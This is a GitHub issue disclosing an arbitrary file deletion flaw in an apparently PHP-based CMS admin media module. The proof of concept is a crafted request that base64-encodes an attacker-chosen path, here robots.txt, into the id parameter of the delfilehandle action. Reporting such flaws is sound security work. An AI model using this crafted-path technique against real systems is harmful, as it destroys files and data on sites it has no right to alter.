Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a vulnerability that can delete the arbitrary file #113

Open
lovejackey opened this issue Nov 17, 2018 · 0 comments
Open

There is a vulnerability that can delete the arbitrary file #113

lovejackey opened this issue Nov 17, 2018 · 0 comments

Comments

@lovejackey
Copy link

After the administrator logged in, open the following link
http://localhost/index.php?m=admin&c=media&a=restorefile
Click the delete button,we can get a link like this
http://localhost/index.php?m=admin&c=media&a=delfilehandle&id=QzpccGhwU3R1ZHlcUEhQVHV0b3JpYWxcV1dXL0RhdGEvQmFja3VwXzk3NzJhZWZiODMvL3N5c3RlbV9iYWNrdXAtMjAxODExMTctNDk5OTc5MWY3NGViMTAxZDllNzJhMjllODU3OTBkYWIuemlw

the string QzpccGhwU3R1ZHlcUEhQVHV0b3JpYWxcV1dXL0RhdGEvQmFja3VwXzk3NzJhZWZiODMvL3N5c3RlbV9iYWNrdXAtMjAxODExMTctNDk5OTc5MWY3NGViMTAxZDllNzJhMjllODU3OTBkYWIuemlw is encoded by base64,so we can decode it ,the decoded string is C:\phpStudy\PHPTutorial\WWW/Data/Backup_9772aefb83//system_backup-20181117-4999791f74eb101d9e72a29e85790dab.zip
so we can encode the string like this C:/phpStudy/PHPTutorial/WWW/robots.txt and structure the link http://localhost/index.php?m=admin&c=media&a=delfilehandle&id=QzovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3JvYm90cy50eHQ=, when we visit this link,the robots.txt file is deleted

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant